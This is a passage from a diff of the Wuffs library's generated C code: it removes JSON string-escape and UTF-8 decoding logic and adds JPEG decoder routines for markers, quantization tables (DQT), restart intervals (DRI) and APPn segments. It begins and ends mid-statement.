WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- } -- if (self->private_impl.f_quirks[20u]) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { -- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- iop_a_src += 6u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- } else if ((v_c == 85u) && self->private_impl.f_quirks[2u]) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -- goto label__string_loop_outer__continue; -- } -- v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); -- v_uni8_value = 0u; -- v_uni8_ok = 128u; -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 28u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 24u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 20u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 16u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 12u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 8u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 4u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; -- v_uni8_ok &= v_c; -- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 0u); -- if (v_uni8_ok == 0u) { -- } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { -- iop_a_src += 10u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } else if (self->private_impl.f_quirks[20u]) { -- iop_a_src += 10u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- } else if ((v_c == 120u) && self->private_impl.f_quirks[9u]) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -- goto label__string_loop_outer__continue; -- } -- v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- v_backslash_x_ok = 128u; -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; -- v_backslash_x_ok &= v_c; -- v_backslash_x_value = ((uint8_t)(((v_c & 15u) << 4u))); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; -- v_backslash_x_ok &= v_c; -- v_backslash_x_value = ((uint8_t)((v_backslash_x_value | (v_c & 15u)))); -- if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- iop_a_src += 4u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } else if (v_char == 3u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__string_loop_outer__continue; -- } -- } -- if (a_src && a_src->meta.closed) { -- if (self->private_impl.f_quirks[20u]) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -- goto label__string_loop_outer__continue; -- } -- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- if ((v_multi_byte_utf8 & 49152u) == 32768u) { -- v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); -- iop_a_src += 2u; -- if (v_string_length >= 65528u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- goto label__string_loop_outer__continue; -- } -- v_string_length += 2u; -- continue; -- } -- } else if (v_char == 4u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__string_loop_outer__continue; -- } -- } -- if (a_src && a_src->meta.closed) { -- if (self->private_impl.f_quirks[20u]) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); -- goto label__string_loop_outer__continue; -- } -- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -- if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { -- v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); -- if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { -- iop_a_src += 3u; -- if (v_string_length >= 65528u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- goto label__string_loop_outer__continue; -- } -- v_string_length += 3u; -- continue; -- } -- } -- } else if (v_char == 5u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__string_loop_outer__continue; -- } -- } -- if (a_src && a_src->meta.closed) { -- if (self->private_impl.f_quirks[20u]) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); -- goto label__string_loop_outer__continue; -- } -- v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { -- v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | -- (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | -- (4032u & (v_multi_byte_utf8 >> 10u)) | -- (63u & (v_multi_byte_utf8 >> 24u))); -- if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { -- iop_a_src += 4u; -- if (v_string_length >= 65528u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- goto label__string_loop_outer__continue; -- } -- v_string_length += 4u; -- continue; -- } -- } -- } -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__string_loop_outer__continue; -- } -- } -- if ((v_char & 128u) != 0u) { -- if (self->private_impl.f_quirks[0u]) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | ((uint32_t)((v_char & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- goto label__string_loop_outer__continue; -- } -- if (v_char == 138u) { -- status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); -- goto exit; -- } -- if (self->private_impl.f_quirks[20u]) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -- goto exit; -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)); - } - } -- label__string_loop_outer__break:; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); -- continue; -- } -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); -- continue; -- } -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- break; -+ self->private_impl.f_payload_length = t_4; -+ } -+ if (self->private_impl.f_payload_length < 2u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= 2u; -+ } -+ if (v_marker < 192u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } else if (v_marker < 208u) { -+ if (v_marker <= 194u) { -+ if ((v_marker == 194u) && self->private_impl.f_reject_progressive_jpegs) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__rejected_progressive_jpeg); -+ goto exit; -+ } else if (self->private_impl.f_sof_marker != 0u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; - } -- if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { -- v_expect = 4104u; -- goto label__outer__continue; -+ self->private_impl.f_sof_marker = v_marker; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ status = wuffs_jpeg__decoder__decode_sof(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; - } - break; -- } else if (v_class == 2u) { -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { -- if (self->private_impl.f_quirks[13u]) { -- v_expect = 4162u; -- } else { -- v_expect = 4098u; -- } -- } else { -- if (self->private_impl.f_quirks[13u]) { -- v_expect = 8114u; -- } else { -- v_expect = 7858u; -- } -+ } else if (v_marker == 195u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); -+ goto exit; -+ } else if (v_marker == 196u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } else if ((197u <= v_marker) && (v_marker <= 199u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); -+ goto exit; -+ } else if (v_marker == 200u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); -+ goto exit; -+ } -+ } else if (v_marker < 224u) { -+ if (v_marker < 218u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -+ goto exit; -+ } else if (v_marker == 218u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } else if (v_marker == 219u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- goto label__outer__continue; -- } else if (v_class == 3u) { -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 7858u; -- goto label__outer__continue; -- } else if (v_class == 4u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else if (v_marker == 221u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_jpeg__decoder__decode_dri(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } -+ } else if (v_marker < 240u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else { -+ if (v_marker == 254u) { -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } -+ } -+ self->private_data.s_do_decode_image_config.scratch = self->private_impl.f_payload_length; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ self->private_impl.f_payload_length = 0u; -+ } -+ self->private_impl.choosy_decode_idct = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+ wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : -+#endif -+ self->private_impl.choosy_decode_idct); -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ v_pixfmt = 536870920u; -+ if (self->private_impl.f_num_components > 1u) { -+ v_pixfmt = 2415954056u; -+ } -+ wuffs_base__image_config__set( -+ a_dst, -+ v_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ true); -+ } -+ self->private_impl.f_call_sequence = 32u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_image_config.v_marker = v_marker; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_dqt -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dqt( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint8_t v_q = 0; -+ uint32_t v_i = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_dqt; -+ if (coro_susp_point) { -+ v_q = self->private_data.s_decode_dqt.v_q; -+ v_i = self->private_data.s_decode_dqt.v_i; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (self->private_impl.f_payload_length > 0u) { -+ self->private_impl.f_payload_length -= 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (((uint8_t)(v_c8 & 15u)) > 3u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); -+ goto exit; -+ } -+ v_q = ((uint8_t)(v_c8 & 15u)); -+ if (((uint8_t)(v_c8 >> 4u)) == 1u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); -+ goto exit; -+ } else if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (self->private_impl.f_payload_length < 64u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= 64u; -+ v_i = 0u; -+ while (v_i < 64u) { -+ v_i += 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint16_t t_1 = *iop_a_src++; -+ self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; -+ } -+ } -+ self->private_impl.f_seen_dqt[v_q] = true; -+ if (self->private_impl.f_sof_marker == 0u) { -+ v_i = 0u; -+ while (v_i < 64u) { -+ self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; -+ v_i += 1u; -+ } -+ self->private_impl.f_saved_seen_dqt[v_q] = true; -+ } -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_dqt = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_dqt = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_dqt.v_q = v_q; -+ self->private_data.s_decode_dqt.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_dri -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dri( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_dri; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_payload_length != 2u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint16_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_dri.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_dri.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 8) { -+ t_0 = ((uint16_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ self->private_impl.f_restart_interval = t_0; -+ } -+ if (self->private_impl.f_sof_marker == 0u) { -+ self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_dri = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_dri = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_appn -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_appn( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint8_t a_marker) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_c32 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_appn; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ do { -+ if (a_marker == 224u) { -+ if (self->private_impl.f_payload_length >= 5u) { -+ self->private_impl.f_payload_length -= 5u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if 